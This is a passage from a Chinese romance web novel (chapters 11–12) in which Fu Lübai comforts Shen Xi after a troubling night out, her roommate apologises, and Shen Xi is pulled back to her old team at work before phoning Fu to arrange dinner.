这话,他说的很是委婉。被沈晞听到,一定就会反应过来,不过是在说她矮。但沈晞166的身高,在女生里怎么也算不上矮。
是他太高。
不过此时的沈晞并没功夫去计较这些。
只垂着眸,轻“嗯”了声。
她确实有点被“吓到”,他好冷漠,冷脸时也真的好凶好吓人。
迟来的委屈,让她这声,都带着及不可察的鼻音。
面前的人还是耷拉着脑袋,风又吹过来,吹动着她宽大的白T黑色的长发,鼻尖更红了,看上去脆弱又可怜兮兮。
傅律白觉得她此时应该需要一个拥抱,垂在身侧的手抬起松开又攥紧,最后还是抬起,靠近肩膀后微顿,然后迟疑的慢慢放到她的背上,轻拍了怕,低声说:“没事了。”
她的背好薄,蝴蝶骨轻抵在掌心,让他安抚的轻拍不自觉的放得更轻了点。她实在是有点脆弱柔软,怕这样一拍,没起到什么安抚作用,反而把她弄疼弄伤。
以至于他没意识到,动作轻的已经近乎摩挲。
像是有一股电流,以他掌心触碰的位置上下蔓延着,让沈晞的身体不受控制的轻颤着。
却又怕他察觉到,而努力克制。
他的声音也不再冷淡,甚至不是惯常的温淡,被刻意放缓放轻,像是温柔的月光。
11. 第 11 章
傅律白并没有什么哄人的经验,只是觉得对于一个需要大大的拥抱的人来说,这样轻轻拍一拍,实在是杯水车薪。
他目光淡淡扫视着林立的店铺,在一家灯光格外干净温馨的店上停留了几秒,收回后垂眸问:“要喝奶茶么?”
甜甜的食物会让人心情好一点,几次陪表妹望舒出去时,总会买上一杯,女孩子们可能会喜欢。或许下次再遇到这种情况时,他应当把表妹叫来或者带上一位女性,至少这样,可以给她一个拥抱。
“嗯。”
正想着,身前的人轻声应。傅律白将手收回,微痒,他淡淡看过去,几根黑色绸缎般的发丝在他指尖轻缠又慢慢滑了下去,他轻眨了下眼睫,神色未变,淡声道:“走吧。”
随后率先一步转身。
背上的温和和力度消失,沈晞战栗的肌肉才慢慢恢复平静,可一时间有一点不太适应,就像是云霄飞车达到顶点后又归于平静的怅然若失。
她轻抿了下唇,又不自觉抬眸不着痕迹的看他。
谁知男人也垂下视线。
两人的目光措不及防的在空中撞上。
沈晞:“……”
她轻咳了声,当做什么都没发生一样,率先往前走着。
傅律白轻笑了下,也跟了上去。
到了奶茶店,沈晞点完,傅律白便已经十分自然的付完了歀。
她看着站在自己身旁扫码的人,不由的愣了下。
他身形高大比例出挑,像是要把小小店铺撑满。穿着一身灰色衬衣,看上去矜贵又沉稳温谦,出现在这种小小的充满甜腻腻的奶茶店里,实在是违和却又吸睛。
店里已经有不少人暗搓搓的看过来,他倒是从容,跟没察觉到一样。还在店员醉翁之意不在酒的极力和他推销面包脆用的比其他人时长都长时,十分绅士的询问沈晞:“要不要?”
沈晞摇头,同时将头转正,眼睫轻眨了下。她其实并没有接受男性为她付款买东西的习惯,平时和异性出去或一些示好时,她也会拦住各付各的。
但他刚刚实在是太过自然,不急不缓的,她甚至以为他只是看个消息,都没反应过来。
而傅律白只是淡淡站在那里,都会让人不好意思再因这样的小事开口和他拉扯。会觉得是在浪费他的时间,又会显得自己小家子气。
沈晞知道,这大概早已成了他这样圈层人的习惯,并没有示好的意思。
而且就算和他说了,沈晞也觉得他一定会从容又带着几分绅士温淡的浅笑说:怎么可以让女士来。
又或者轻易便能看出小女孩心思的那种不自在与担忧,而他明明没有那样的想法,却也会照顾着她的情绪,妥帖并且不被她看出,十分气定神闲的说上一句:我也有些口渴。
语气自然的,好像在和他计较便是过于生分了。
哪种,都不会像她身边同龄的男同学那样,会红着脸、会尴尬、会不甘亦或恼羞成怒或者傲慢的让人不舒服。
他太过游刃有余。
沈晞接过奶茶,垂着眼睑喝着,暖甜从口顺着喉咙熨帖到胃里。
看在月亮和奶茶的份上,决定原谅他。
两个人走出店后,店里的人还不由的目送,同时不再收敛明目张胆的兴奋雀跃起来。
“啊啊啊好帅好有味道,这就是来夜跑的福报么!运动使我快乐!”
“女生也好美好乖,让人心软软想贴贴,她抱起来一定很舒服,嘤~”
“男生看着女孩的眼神好温柔又克制,但是女孩眼神闪躲了啊啊啊啊啊,这一躲真的磕死了啊!”
“这种眼神攻击谁能不躲啊!啊啊啊这种就差个窗户纸没捅破的暧昧期真的好好磕,我恨不得把民政局给他们搬过来!”
女生们手舞足蹈的握紧彼此攥拳,甚至一个人来的都没忍住和旁边不认识的人握到了一起。相对于激动的女生们,店中的男生们粗线条,倒是不知道怎么就能凭借一个眼神就能如此精准的判断出是在暧昧期的。
他们更加内敛安静的等着号,却也暗自敬佩。男人看男人总是更加的简单粗暴,单是站在那里看一眼便已分出个高低来,况且这人虽全身没一个扎眼的品牌,可件件样样质感都在那里摆着,可见绝非等闲。
期望再过几年,这般年纪时也能成为这样的男人,修的一身好气度好气质好气场来。
-
“赶紧放我出去,哈哈哈,知道我大哥是谁么?哈哈——”
禹开然走在洁净却有无数细小花纹的地板上,走廊空荡安静悠长,两侧是一间间紧闭的安着铁窗的房间,带着些压迫的死寂。
一道声音忽然从左侧传来,伴随着椅子倒地的声音,禹开然脚步一顿,看了过去。
便见胡寿摔倒在地上,却像没有感觉一样,侧躺着还翻了个,双眼迷离眼神飘忽,眼上的刀疤看上去像是要把整个眼珠给挖掉,嘴角还带着莫名的笑意,整个人看上去愈发的狰狞和诡异。
单向镜,里面的人看不到外面正有人注视着,即使看得到以他此时的状态,也不会有任何察觉。
“我进去跟他说两句话。”禹开然侧头跟着一旁的人讲。
人拿着钥匙,有些为难,还未等他开口,禹开然便笑着说:“放心,我懂规矩,不会让你难做,就说两句话。”
他本是偏柔和可爱的长相,这样一笑,整个人看上去就更人畜无害,何况他还一幅好说好量的语调。
人松了口,带他走过去,同时叮嘱着,“这人吸完了不清醒,你就在门口说两句。”
知道这是不放心,禹开然笑着保证,“放心,绝对不进去,不给你添麻烦。”
门被打开。
地上的人慢慢有了反应,抬头看过来。迷离的双眼带着几分不确定,“禹少?”
禹开然靠在门上,眉梢微挑吊儿郎当的说:“哟,认识我啊?”
“哪能不认识您啊,”胡寿说着,又不受控制的笑了两声。他甚至没察觉自己在笑,只是亢奋又混沌的大脑隐隐疑惑,这人怎么在这,他明明是给他大哥打的电话,但是没打通。
下一秒,就听到了答案。
“我来呢,就是跟你说一声,你就算认识天王老子,也别想就这么出去了。”
禹开然声音依旧平缓,微顿,再开口时漫不经心的眼变得又沉又冷,直直的看着他,像是看着一团死物,声音也变得沉,“知道你惹着谁了么?”
也不等人回答,便出了门,还客气的和身旁人笑,“真不好意思,耽误您时间了。”
门再次被锁上,只留下躺在地上眼神茫然空洞,脸上带着虚浮诡异笑的男人。
-
两个人沿河边来时的方向走着,晚风轻抚将两人的衣摆吹往同一方向,月光皎皎慷慨又温柔的洒在地面上,霓虹璀璨又暧昧。
其实氛围还是有点奇怪的。
在不远处大厦霓虹变换颜色时,傅律白忽然问:“打算什么时候请我吃饭?”
这个话题之前被他忽然转移,现在又被他突然再次提起,沈晞愣了下。
其实请人吃饭,在某种程度上来讲,也在说明关系够不够。尤其是傅律白这种,他大概是不缺别人请吃饭的,想要拉拢巴结他的人应该很多,他成了别人的座上宾便是给了天大的面子。
“不打算请了?”见她不说话,傅律白又问,“还在生气?”
沈晞喝着奶茶不讲话,有些迟疑,又有些好奇,如果她答“还在生气”,他又会怎么样。
可还未等她回答,傅律白便又说:“那这样,我也该向你赔罪,道歉那顿就不用了,两者抵消。至于贿赂我那顿——”
他适当停顿,淡淡看向沈晞。
颇有“给你个眼神自己体会”的意思。
沈晞体会到了,他是在说——你能不贿赂么?
她不由得瞪大了眼睛,奶茶抵在嘴边都忘了放下去,“你、你还要几顿?”
如果不抵消的话,还要分期请的么?
“一码归一码,”傅律白说的非常理所应当,甚至还替她挡了下玩着滑板飞速而过的小男孩,将她拉到自己里侧,自己走在外面,同时说,“你总不能一起来算。”
跨在身上的包包因为换了位置而有些歪斜沈晞都没来得及管,和他理论着,“那、这次也不能怪我啊?你凭什么还要和我小叔告状?”
“确实不怪你,我再次为你的遭遇表示抱歉和同情。”傅律白轻点着头,非常赞同她的说法,“但是,可以告状的点很多,比如,你还是去了酒吧这种不太符合乖宝宝常去地点的场所。”
没错,她甚至属于惯犯了。
“那……那我上次去,你不也没需要我贿赂你么?你也没说啊。”怎么多加了一个多月的交情,还更不好说话了呢?
“你是在提醒我么?”傅律白轻挑了下眉,“上次念你是初犯,你要是这么说,那可以把上次该的贿赂也找时间补上。”
“……”沈晞张了张嘴,无力反驳,甚至被他的理论给带进去了。最后一脸不可置信加佩服道,“你真的很奸商,难怪你赚大钱,成了‘傅先生’。”
傅律白看着面前再次表情丰富鲜活起来的人,眸色微深,“终于肯笑了。”
沈晞这才反应过来他一直在逗她,缓和着她的情绪。一股暖流从心口熨帖到喉咙,看他一眼,又轻轻垂眸喝了口奶茶,还未来得及说什么。
就听傅律白又说:“以后有事,多晚也可以打扰,不用为这个道歉。”
他很庆幸,她能找他。
说完,他忽然停下脚步,沈晞也跟着停了下来,下意识看向他。
然后就对上了他一错不错看向自己的眸,眸色很浅,但此时看着自己却很深。他身后是色彩纷呈的霓虹,五彩缤纷的红尘世间,却不及他的眉眼夺人心神。
傅律白很郑重其事的补充了句:“如果,我是说如果,以后今晚的这种事真的发生了,也来找我。”
至少,他能把伤害降到最低。
“我一定不会凶你。”他保证着,他是真的觉得很抱歉,他怕因为这次,下次她真的出大事时,她就不敢再来找他了。
沈晞被那双深深的眸子摄住了,也移不开半点视线。那双她以为万事万物都不会入眼的眸,此时把自己全盛进去的深深看着,她几乎有种脱口而出的冲动——
讲这样的话,就只是因为和小叔的交情么?
可话到了嘴边,她还是轻垂了下眼睫,微微错开了视线,连情绪也错开,扬着头声音也是轻扬的,说:“那我既然不用为这个道歉,你的赔罪就只能和我的贿赂抵消。”
她又把之前的账给算了回去,非常有头脑。
傅律白轻笑,很是遗憾道:“确实,看来茜茜这顿饭我吃不上了。”
!
沈晞眸色顿了下,眼睛快速转动着,像是又想到什么,微微挺胸,语速有些急的说:“但是,我还是要谢谢你,毕竟你大晚上折腾,所以这顿饭,还是我请。”
她很知恩图报懂礼节的。
她轻扬着下巴,一本正经,连奶茶都暂时放下,很是傲娇。
一晚上堵在心口的那股气终于吐了出去,傅律白眉眼舒展。
但是这位懂礼识节的傲娇小姐似乎一时间忘记请客流程,没有和客人约定好时间。
所以傅律白只得主动询问,成了不太“懂礼”的客人,“那茜茜小姐打算什么时候?”
他好提前空好时间出来。
沈晞嘬着奶茶,轻叹了口气,脸上带上了几分打工人的哀怨,“我也不知道我什么时候有空啊,你等我档期吧,反正你左右无事很是闲散。”
她转头看向他,咬了下珍珠,煞有见地的说。
傅律白眸色微顿,过了几秒后轻笑,“茜茜说的,很有道理。”
各个排队想见都被知会空不出时间的政商们:“……?”
-
沈晞拿着奶茶前脚刚进门人都还未来得及坐下,门便再次被打开,宁今雨也回来了。
沈晞一愣,自己在河边耽误了不少时间,不知道她怎么也回来的这样晚。
但很快被她抛之脑后,两个人都有种恍如隔世的感觉,拥抱到了一起。
压抑的情绪再也控制不止,宁今雨满脸歉意与愧疚,带上了哭腔,“对不起啊茜茜……”
“跟你有什么关系,”沈晞拍着她的背,不乐意她这么说,“你被人渣骚扰你道什么歉啊?”
宁今雨全身骤然一震,而后摇头,眼泪瞬间夺眶而出,“不是的茜茜,对不起……”
她反复说着,无论沈晞说什么都没用,最后沈晞无法,只得叹气,“好吧好吧,我原谅你了,你别道歉了。”
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宁今雨情绪这才慢慢缓和下来。
她长相清冷,此时眼睛红红的,有种破碎的美,看着让人心疼。沈晞抽纸巾给她,她擦完,过了五分钟才彻底平复下来。
两个人都有点累,排排靠坐在椅子上。
沈晞喝着还剩一点的奶茶,这才来得及问:“你怎么会认识那种人的啊?”
问着话时,语气间不带任何埋怨与鄙夷亦或是怀疑,只是纯粹的不解与好奇。
宁今雨轻垂着眼睫,让人看不到里面的情绪,过了几秒才轻声说:“在度假村兼职时碰到的。”
仔细听,语气有些飘,沈晞没多想,只当她是累了,轻“啊”了声,“难怪。”
沈晞整个人陷进椅子里,蜷着腿脚也踩在椅子上,头搭在椅背上,像只慵懒的猫,侧头问:“那这样,算不算……工伤啊?”
她一时间没想到合适的词,“你那个老板,她不管么?”
要是遇到个变态客人就被这样骚扰,也太……
“她管不了的,”宁今雨轻垂着眼睫,在脸上落下一小片阴影,看上去有些落寞。下一秒,她翘起腿,侧了下头看向别处,轻笑了下,“我也不想她管。”
这哪里是想不想的问题啊。
沈晞皱了下眉,刚想开口,宁今雨像是忽然想起什么,眸色微深,转过头来看向她,不着痕迹的问:“茜茜,今天接我们出来的,是什么人啊?你怎么认识的?我要不要去谢谢人家?”
忽然被问及他,沈晞眼神微飘,抱着奶茶喝了口,“就,我小叔托他照顾我,我在他那实习,其实、也不是很熟。”
她莫名有些不自在,怕还会多问,放下奶茶后“唰”的一下站了起来,又觉得自己好像有点急。在宁今雨看过来的有些诧异的目光中,她轻打了个哈欠,懒洋洋的说:“我先去洗澡了。”
而后趿拉着拖鞋,哒哒哒的走去了卫生间。
因此,也没看到身后宁今雨松了口气,放松下来的神情。
小叔认识的,总不会出问题。
被接出来时,她让人将她放到地铁口便可以。
而那人,靠在帕加尼里,姿态慵懒斜睨过来,嘴角带着漫不经心的笑,说:“那哪儿成啊,我答应了得把你安全送回学校。”
最后,她报出了一个地址,那人也毫不惊讶,似乎知道谁在那,又或者完全不在意。因为他的任务就是送她回学校,安全的回去。中间有什么小的变故也没关系。
但或许就是因为这句话,那漫不经心的眼,却莫名给了她莫大的底气,让她知道至少今天可以安安稳稳的回来。
这人一路上也很规矩有礼,甚至堪称风趣。可就那一眼,她就知道这人骨子里是和秦凯一样的人,不把人当人的权贵二代。
她怕茜茜也不小心,落入这无法脱身的深渊沼泽里,却不自知。
还好是和小叔认识的。
禹开然很是冤枉,来时他是陪着三哥一起,自是没开车。这回三哥先走,他打电话叫人来送辆车。当时他还有一堆事情没办完等着他处理,便也没细说要那辆,反正哪辆都能开,能回去就成呗。
谁想到给他开来这么骚包一辆。
那人也挺委屈,说:“我想着,这个时间,您大概率是想飙车。”
禹开然直接被气笑,“我疯了在警局门口飙是吧?”
那人一脸无辜,“我以为你是想找刺激……”
刺激啊,简直太刺激了,飙车的刺激都不够他家少爷用。得警局门口,双倍的。
“……”
-
浴室氤氲着水雾,沈晞拿着浴花打着泡沫,指腹轻蹭到脖颈,她像是被烫到一样挪开,而后过了两秒,又轻轻覆了上去。
脑海中不由的浮现那个温度、触感和头顶光打在他的身上,垂落到自己身上微暗的光景。
沈晞的脸开始发红发烫,啊啊啊啊不要再想了!
她知道,他大概那个时候,只是想测下她的脉搏而已。
她轻拍了拍脸,让自己冷静下来,只是摸了下脖子,只是权宜之计,有什么大不了?
沈晞这样和自己说着,如果他哪天出事,需要做什么心肺复苏,她当然也会脱掉他的上衣,按在他紧实的胸肌上——
停下!可以了!不用再发散了。
她面无表情的洗完澡,吹干头发,躺到床上。
宁今雨被她冷酷的表情吓了一跳,以为她是困的已经魂游出走,就剩下个躯体。她走动轻轻,也没和她讲话,怕打扰了她的瞌睡,便也去了卫生间洗澡。
沈晞完全没有察觉,整个人陷进柔软的床里,心也就跟着软了下来,人再也绷不住。脸上浮现出一抹浅笑,抱着被子轻蹭了蹭,手不经意还到了自己的背上——
好像整个人再次被清冷的雾凇和稳淡的檀木包裹。
啊啊啊啊啊……
那股电流好像再次袭击了她,她将自己深深地埋进被子里,紧紧抱住。
宁今雨蹑手蹑脚的走出来,却在看到眼前这一幕时,整个人的心都紧提了起来。
“茜茜!你没事吧?!你是不是哪里不舒服?”
只见她以为原本已经累到熟睡的人,此时埋着头抱着被子打滚,就连脚趾好像都有些蜷缩着。
该不会是那个人在吧台就发现了她们,悄悄给她们放了东西,但是没测出来,现在发作了吧?!
这一声,把沈晞从那股说不出满足又柔软的情绪中叫出来,她僵硬的睁开眼睛,开始后知后觉的羞耻,若无其事的将被子掀开,露出脑袋来,“我、没事啊。”
连声音都堪称镇定。
“那你在打滚什么?”宁今雨疑惑,带着担忧的问。
她……还打滚了?!!!
沈晞眼睛睁大,却努力让自己冷静下来,“我就是、嗯,觉得床太舒服了被子太舒服了。”
“哦,这样。”
宁今雨很理解,很累的话遇到舒服柔软的床就会忍不住贴贴,会让心情很愉悦,想让自己整个被包裹起来,甚至有的时候想将衣服脱掉,完全的用肌肤去感受触碰,“没事就好,晚安茜茜。”
“晚安小雨。”沈晞语调平静,声音甜软。
然而内心。
——太舒服了。
啊啊啊啊沈晞你听听你说的是什么话!这像话么!
12. 第 12 章
温暖的阳光透过未拉紧的窗帘,照进床上。
在闹铃的轻响下,沈晞有些意犹未尽的轻蹭了蹭被子,缓缓地睁开了眼睛,整个人都还有些未反应过来。
似乎好久都没睡过这样满足的觉。
闹铃再次轻响,她抬手关掉。
人慢慢清醒了过来,但情绪还在睡梦中,好像她被人轻轻抱住,让她睡的很安心很满足,像是被庇佑遮挡一切风雨。
没睡够啊没睡够,还想被——
下一秒,她的眸色狠狠一顿。
就见自己的手,不知道怎么就环过胸,仍保持着搭在自己背上的姿势——昨晚,傅律白轻拍的位置。
“?!”
她昨晚?就保持着这个姿势,这么睡了一夜?
-
震惊的沈晞到了公司都是恍惚。
开会时谭浩叫了她两声都没听到,还是身旁的人轻拍了她一下,她才茫然的抬起眸,眨着一双水润的大眼睛无辜的看过去。
她的眼睛实在是太过圆润漆黑,没有一点杂质,线条流畅的鹅蛋脸,看上去像是个精致可爱的洋娃娃,萌到不行。
谭浩都被她逗笑了,“这么困啊?”
其他人熬了这么多天,也都乏到不行,被她这个表情弄的,紧绷疲乏的回忆氛围都暂时得到了缓解,忍不住也看着她笑。
“昨天那么早下班都没把觉补回来,茜宝儿这段时间是真辛苦了。”
她哪里是因为工作困的,她是……
沈晞脸瞬间有点微微发烫,轻咳了一声,“怎么了么?”
大家只以为她是开会睡觉被发现的窘迫,谭浩笑着摆手,“没事你接着睡吧,咱们茜宝儿正是长身体的时候。”
本来也没什么事,最重要的那个环节结束,她就跟吉祥物似的,本来叫她就是想给大家提提神。现在效果已经达到了。
沈晞眨眨眼,卷翘的睫毛慢慢翕动着,“?”
“哦天呐,”宣传部的女同事直接拿出手机来,动作已经快过大脑,“宝宝你这个表情好适合做表情包!美女困惑宝宝茫然那种。”
同事被萌的都快成了星星眼,等拍完才想起问:“可以么?”
表情包?
好奇怪好羞耻啊。
但是面对着同事满脸期待的目光,沈晞还是勉为其难的松了口,“就只能内部用。”
“放心,”同事举起三根手指发誓,“绝不外传。”
有了这个插曲,大家都清醒了不少,会议继续。沈晞也没再睡了,已经聊到后续BGM问题,沈晞本以为会相对轻松任务量少点,但听后才知道这里面涉及的门道也那么多,听到最后已经完全听不懂,只觉得厉害,再次肃然起敬。
一个小时后,会议结束。各自散去,沈晞也继续整理着一些个资料。
“茜宝儿,这是周报你——”
老周萎靡的拿着个文件夹走过来,边说边打着哈欠,下一秒却彻底醒了,“茜宝儿你手怎么了?”
只见沈晞好好一个人,坐在电脑前,却艰难的只用左手敲着字,右手垂落在一侧像是废掉了一样,老周眼睛都瞪直了。
他本来就是起身转转醒醒神的,这下哪还有半点困意。
“哦,我和它割席了。”沈晞不在意的说,她还没打算和这只带颜色的手和解。
继续做着独臂大侠打着字,同时抬头看了他一眼,“周报是吧,放这吧。”
“割破了?”老周戴耳机听了好几个小时的BGM,现在都什么都带着混沌的混响,“还管什么周报啊!”
沈晞愣了下,“没——”
“有”字还未说完,便被老周皱眉打算。
“什么没关系,你这累的精神恍惚到把手都给割破了,听我的,”老周大手一挥,“明天别来了,休假一天!”
沈晞轻眨了眨眼,将垂在椅子扶手外的手不着痕迹的移到了腿下,“那……”
“好了好了别推脱了,我还一堆事呢。”不给她拒绝的机会,老周直接把文件一放就走了。周报不周报的没关系,吉祥物不能坏了。
“那就谢谢了。”目送着老周离开,愉悦的心情再也控制不住,小幅度伸手握拳在心中悄悄说了个“yes!”
于是,她便迎来了近一个月来,第一个周六休假。
对不起了老周,对不起了同事们,她会在明天买好下午茶来弥补一点点的愧疚,以及分享大大的喜悦的。
沈晞身心愉悦,连看这只右手都不在那么鄙夷和嫌弃,起身还问有没有人需要接水,她收了几个水杯在别人匆忙的感激下悠悠哒哒去了茶水间。
她一杯杯按冷热喜好接好,甚至愉悦的哼起了歌,正要出去,便和不知何时进来的庄凡视线对上。
她愣了下,笑着招呼,“好久不见啊庄姐。”
笑起来眼睛弯弯,卧蚕勾起个漂亮可爱的弧度,窗外的阳光都似乎不如她明媚,看上去又甜又乖的。
庄凡从上到下淡淡打量着她,而后轻挑了下眉,脸上也带上了几分笑,“要是你想,以后也天天见。”
沈晞正要提着水杯赶紧给会议室里那些嗷嗷待哺的人们送过去,听到这话脚步一顿,有些不解的看向她。
庄凡靠在茶水间的椅背上,语调堪称温柔,像个大姐姐,“这个项目也没你什么事了,过来回到我组。”
难怪会出现在这层,原来是特地来找她,沈晞愣了下。
庄凡平时对她也挺好的,也不算好,就是不冷不热带着点客气。沈晞知道,这大概是对待“关系户”的态度,毕竟太严厉不好太热情也奇怪,其实她一直觉得庄凡是蛮有傲骨和能力的,这样突然的亲切让她有点懵,“可是,这个项目还没结束啊。”
“虽然没结束,但他们磨合了一个月早就配合默契,后半程也不需要你再协调什么了,有你没你都一样。你现在在里面当个吉祥物,多浪费你的能力和才华。”庄凡真心实意的说,“你回来,我可以给你更多能锻炼的大项目。”
她最初确实只把沈晞当个关系户,也懒着费心费力,彼此都过得去就行。沈晞也算乖,交给的事都好好做完,没仗着关系的作妖,让她为难。
但经过这次的事,她发现这个小姑娘确实很有能力,那就好好带着,谁会不欣赏有实力的人。况且,真的很赏心悦目一姑娘,放在办公室别说她是个女的,都觉得办公室更亮上几分。况且她最近手里面好几个项目,都快忙不过来了,急需她这样有想法敢干的人。
谁知下一秒,沈晞眨着眼睛用最可爱的表情说出了最冷血的话,“我觉得,做个吉祥物也挺好的。”
她本来也没什么大志向,能偷懒就偷懒,能摆烂就摆烂,不想卷一点。
“什么?”庄凡表情有些错愕,简直怀疑自己的耳朵。虽然她知道一般关系户是不差钱的,但是——
“叫我带你时,那边人说,要我对你严厉严格,”庄凡内心有了支撑,“所以我对你有绝对工作调动的话语权。”
你这样的人,怎么可以当个没用的吉祥物呢!而且她真的忙不过来了啊啊啊啊!
为了自己的头发不在加班中掉光,你来也得来,不来也得来!
?
傅律白当时竟然是这样吩咐的?
她都能想象出那个画面,用着平淡的语气,逆光而站或者坐在沙发里喝着苦兮兮的咖啡,没什么表情的向助理传达着这句话。
真残忍,真冷漠。
沈晞忽然有了点小情绪。
面上却一片淡然,微微仰头说:“那你就不怕我告状么?说你之前根本没用心带过我。”
她半开玩笑半认真,一时间辨不出真假来,像是平地一声雷般,炸的庄凡僵愣在原地。
看到她表情微变,沈晞忙说:“我开玩笑的。”
这一个多月,和庄凡相处还算很愉快的,她怎么会真的打小报告。再说,因为这点小事就和傅律白告状,感觉也怪怪的,怕他觉得自己没有度量事情又多。虽然他心里不会这样想,甚至还会平心静气,用着他那副温淡清冷的好嗓子,站在双方立场视角上很公正的分析着,最后还会安抚她说一句:茜茜这样想努力,那我在和她讲一讲,让她放下顾虑。
可毕竟他那么一个出尘的人,谁都不会面对他时说这些俗事吧,就像是会污了他耳朵一样。
庄凡那口卡在半截的气,才又痛快的咽了下去,幽幽的看着她。
沈晞收回思绪,就在她开始反思自己玩笑是不是开的有点过了,打算再安抚一下时,正要开口,却被抢了先。
“茜宝儿,你快来吧,没有你我真的不行啊!”庄凡说着,还揪了揪她的衣袖。
这一声情真意切带着波浪线的“茜宝儿”直接把沈晞叫的定在了原地,眼睛都因不可思议而睁大。
最初会议室里的那群人,在她猛加班这样叫时,她也有点不习惯。但叫着叫着也就随便了,她也就当个昵称而已。
可是!
庄凡在她眼里,是标准的高冷事业型女性啊!直接给她叫羞耻了,开始脚趾抓地。
“庄……”沈晞连语气都开始变弱,“庄姐?”
“求你了茜宝儿。”庄凡继续揪她衣袖,一脸恳求。
庄凡长相很干练,不像别人求人时,会楚楚可怜或者柔软可爱攻势亦或是脆弱,她此时看上去就很无助,傲骨都碎掉了一样。
沈晞最吃软不吃硬,一下就心软了。却也强撑着,没忘记自己的利益,最后再坚守了一下,微扬着下巴说:“那我有周六日么?他们可是让我周六休息的。”
虽然仅限明天一天这个周六。
庄凡一脸“你怎么这么没出息”的表情看着她,“你之前周六日什么时候加过班?快回来吧,那个没出息的小项目,他们周六日都不给你。”
她都忘记正常的生活了,呜……
沈晞难过悲哀到连后面的拉踩都忘记了震惊,轻咳了一声,让自己看上去没那样丢人没面子,强行挽尊道:“那,此一时彼一时,毕竟你现在要好好培养我,你也不会让我加班么?”
“好好培养”被她刻意加重。
庄凡有那么一瞬间的心虚,再次明确向她保证,“周六日、节假日肯定不加班,重大项目每周加班不超过三次,最晚不超过九点。”
说完,还怕她不满意,仔细观察着她的表情,试探着问:“这样,可以么?”
三次!九点!周六日!
沈晞已经乐翻了天,面上却不动声色,矜持道:“还、还行吧。”
庄凡松了口气。
谁知下一秒就听沈晞说:“但是——”
“!”她的心又狠狠提起来。
“我再在那边待一周吧,还有点事情没做完。”顺便再给他们一点适应的时间,这句话沈晞没说。
一周啊……
虽然想让她即刻就来,但也不是不能接受,庄凡痛快的答应,“行。”
沈晞把水给大家带了回去,在一声声匆忙“感谢茜宝儿”“茜宝儿亲亲”“爱你茜宝儿”中退了出去,还有点舍不得。
这段时间也算是同生共死了,真成了一个亲密无间的团队。
但天下从来没有不散的宴席,人和人间的关系长度靠缘分。
收起微微的惆怅,沈晞拿起电话走出会议室。虽然庄姐承诺她不加班,但工作来了很难说的准的,不像某位闲人,随时都有时间。
就比如今天,又非常随心所欲的没来公司——她倒是没去主动问他确认,而是,他每次难得来公司时,前台小姑娘们总是格外愉悦,眉开眼笑的,让人分分钟可以了解他今天来没来。
而她,只有明天一天是确定的有空。
-
傅律白倒也不是随心所欲,托某人的福,昨日撑着去拜会完韩老后,还要深夜处理事情,连惊带吓,时差都未能好好倒。
周闻颂来时,他才洗完澡,都未能换上一套得体见人的衣服。
此时只穿着一身灰色纯棉睡衣,外面披了件酒店白色浴袍,头发只简单的吹干,刘海柔顺的搭在额前,整个人靠在一楼会客厅的沙发上,随着他微微扬靠的动作,本就系得不紧的腰带更加松垮。人还带着些困倦,看上去难得带上了几分金堆玉砌养出来的公子哥的慵懒劲儿。
周闻颂跟了他几年,也是第一次见他这样,不由的多看了几眼。暗道人当真在骨不在皮,无论什么样子,傅先生总是能
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端出自己的味道来,却每一种都能让人移不开眼,有着独特的风骨与魅力来。
人未答,傅律白视线淡淡睇过来,人虽然还有些懒散,可眉眼不见任何混沌,清淡中却藏着看透一切的锐利与压迫。
周闻颂察觉到,迅速回过神来,回答着。
其实也不过短短几秒钟,解作思索也无妨。可思索却也足够的不专业,而傅先生淡看来的那一眼,似乎也已看穿是在走神而并非思考。
却也并未打算追究,而是继续简单问着一些事宜。
周闻颂暗自松了口气,感谢着傅先生的宽容。其实绝大多数时候,在无伤大雅的小错面前,傅先生都是宽容和好脾气的。所以他们也都很愿意为傅先生卖命,在他手底下认真工作。
傅先生无论是问还是安排问题,也都是十分有条理思路清晰的,甚至有时会帮他省掉很多的麻烦,在问和安排时,便已经无形给了他思路和方向,简直相当于一个简易大纲的存在。
他一一回答完,傅先生也喝完了一杯咖啡,身上的慵懒劲儿便消的差不多。
大的工作汇报完,最后和傅先生敲定一些个人行程安排。
“这周六冯先生想约您在坝河水街钓鱼,您看?”
冯先生,挂名在海盛集团下,但往上捯一辈,都好像带着些颜色。也摸清了傅先生的性子,并未约什么太红灯酒绿的地方,可谓用心。而说是水钓,里面也有家极其难约的餐厅,因当天从澳洲空运来的龙虾数量有限口味鲜美,逐渐一座难求,也算是有诚意。
傅律白将咖啡杯放到茶几上,眼尾微抬。冯宗已经约过他几次,大概也没太多别的想法,只是想认识一下,倒也不是不能卖他个面子,毕竟他爷爷和自家爷爷也算有些交情。
“可——”刚想开口,茶几上的手机屏幕亮了亮。
傅律白垂眸看过去,只见一串熟悉的号码,在上面轻快的跳跃着,眸色微扬的接过。
周闻颂本做好倾听的准备,注意力微微紧绷集中着,这下又微松了下来。但不知道是不是他的错觉,好似在看到来电的那一瞬间,傅先生整个人似乎也更加轻快松散了。
“怎么了?”温淡的声音,在阳光照在棉麻布艺的沙发的正午,显得整个房间都变得缱绻与慵懒。
让人轻易便想起无所事事,阳光打在蓬松被子上的慵懒周末,听得周闻颂都心里轻颤了下,暂时抽离自己现在在汇报工作的现场,心神向往。
“傅律白,是我。”甜软的声音,尾调不自觉微拖,似给这个周末的慵懒升了格。
沈晞也没想到他上来就会问“怎么了”,不是应该“喂”么。
她下意识开场做完自我介绍后,才意识到他说的什么,不由微顿:“……”
“嗯。”傅律白轻声应,清淡的嗓音被咖啡润过,透过听筒带着些电流独有的质感,“你怎么了?”
沈晞莫名就想到了上世纪欧洲被暖黄色阳光照耀下的留声机,华丽复古又有腔调,听得人心轻跳了下,又好似听到他尾音带着几分微扬不易察觉的笑意。
听的人心开始有些发热,手指也无意识抓住了个什么,乱抓住。
却又在下一秒回过味来,这就话好像在讲,似乎她总是出状况。忽然就想到《还珠格格》里的皇阿玛,总是吹胡子瞪眼的问着“她又怎么了?!”
傅律白没有那样不整洁的胡子,也不会有那样浮夸形于色的表情,甚至声音都堪称好听且耐心的。
但是但是。
“我是说,”沈晞为了给自己正名,她语调微扬,带着几分强调的顿挫,“我明天有空,我要请你吃饭。”
非常傲娇,非常异反正常请客约人的流程。
傅律白忍不住提醒她,“是否应当先询问,对方是否有空?”
“你那么闲,怎么会没空?”她说的理所应当,却又难得十分敷衍的补上了一句,“那你明天有空么?”
似乎隔着屏幕都能想象出,她努着嘴有些不确定计划是否会被打乱的耐烦却又认真的表情。
